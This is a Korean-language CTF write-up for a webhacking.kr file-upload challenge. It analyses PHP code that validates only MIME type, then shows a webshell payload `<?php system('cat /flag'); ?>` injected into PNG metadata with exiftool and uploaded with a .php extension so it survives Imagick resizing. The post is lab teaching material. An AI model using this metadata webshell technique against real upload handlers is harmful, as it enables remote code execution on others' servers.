문제 페이지에 접속해보면 다음과 같이 소스코드가 제공된다.
Webshell을 업로드하여 ‘cat /flag’ 명령어를 실행해 FLAG 값을 알아내야 한다.

소스코드 취약점 분석
<?php
if(isset($_FILES['file'])){
$type = $_FILES['file']['type'];
$name = $_FILES['file']['name'];
if(!$type) { exit("type not detected"); }
if(preg_match("/\\.\\.|\\/|\\\\\\|\\.htaccess/",$name)) exit("dont do that");
if(preg_match("/text\\/|application\\/octet-stream/i",$type)) exit("wrong type");
$image = new Imagick();
$image->readImage($_FILES['file']['tmp_name']);
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
$image->writeImage("./upload/".$name);
echo "Done!<br><br><a href=./upload/{$name}>./upload/{$name}</a>";
}
?>
우선 이 코드를 분석해보자.
$image = new Imagick();
- Imagick 객체 생성
- 이미지 처리 기능을 사용할 준비를 함
- 내부적으로는 ImageMagick 기능을 사용
즉:
“이제 이미지 다룰 객체 하나 만들겠다”
라는 의미이다.
$image->readImage($_FILES['file']['tmp_name']);
의미
사용자가 업로드한 파일을 읽는다.
중요 포인트
PHP에서 파일 업로드가 되면:
$_FILES['file']['tmp_name']
에는 서버 임시 폴더에 저장된 경로가 들어간다.
예시:
/tmp/phpA1B2.tmp
즉 실제 흐름은:
- 사용자가 이미지 업로드
- PHP가 임시파일 생성
- Imagick이 그 파일을 읽음
핵심 로직
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
이미지 리사이즈 수행
현재 이미지를 다음의 크기로 변경 :
- 가로 500
- 세로 500
취약점
$type = $_FILES['file']['type'];
(…)
if(preg_match("/text\\/|application\\/octet-stream/i",$type)) exit("wrong type");
파일의 MIME Type만 검증하고, 확장자에 대한 검증이 매우 미흡하다.
Burp 등을 통해서 확장자를 .php로 바꾸고, MIME 타입을 이미지 파일로 변경하면 뚫릴 것이다.
시도 1
HxD로 이미지 인코딩 부분에 WebShell 코드 삽입

확장자 변경 후 업로드

/upload/134742_93763_268.php 접속

Flag 값이 보이지 않는다.
이렇게 되는 이유는 Imagick 처리 때문이다.
Imagick에서 사용자가 업로드한 파일을 읽고, 이미지 리사이즈를 수행한다. 가로, 세로 길이를 500으로 변경하는 로직을 처리하는 과정에서, 이미지가 다시 인코딩 되게 된다.
그리고 이 과정에서, 이미지 인코딩에 넣은 Payload도 인코딩 되어 사라지는 것이다.
시도 2 : exiftool 사용
이미지의 메타데이터에 Webshell 코드를 삽입하는 방식이다.
필자는 PC에 설치된 Ubuntu에서 exiftool을 설치하고 이미지 파일의 메타데이터에 아래와 같이 Webshell 코드를 넣었다.
exiftool image.png -artist="<?php system('cat /flag'); ?>"
핵심 익스플로잇 원리
Payload를 이미지 픽셀 데이터(IDAT) 안이 아니라, 메타데이터 영역에 주입한다.
그러면 Imagick가 resize 처리를 하면서 :
- 픽셀(bitmap)은 재계산했지만
- metadata는 그대로 유지한다.
결과적으로 PHP payload가 살아남게된다.
메타데이터에 Webshell 코드를 추가한 이미지를 업로드 요청을 보낸다.

업로드 요청을 캡쳐하거나 Repeater로 보내, 파일의 확장자를 .php로 변경한다.
파일 이름은 image.php가 된다.

http://webhacking.kr:10018/upload/image.php 접속

Flag 탈취 성공
'Webhacking.kr' 카테고리의 다른 글
| old-25 (0) | 2026.05.13 |
|---|---|
| old-50 (0) | 2026.05.13 |
| baby toctou(Race Condition) (0) | 2026.05.12 |
| old-28 (1) | 2026.05.12 |
| old-30 (0) | 2026.05.12 |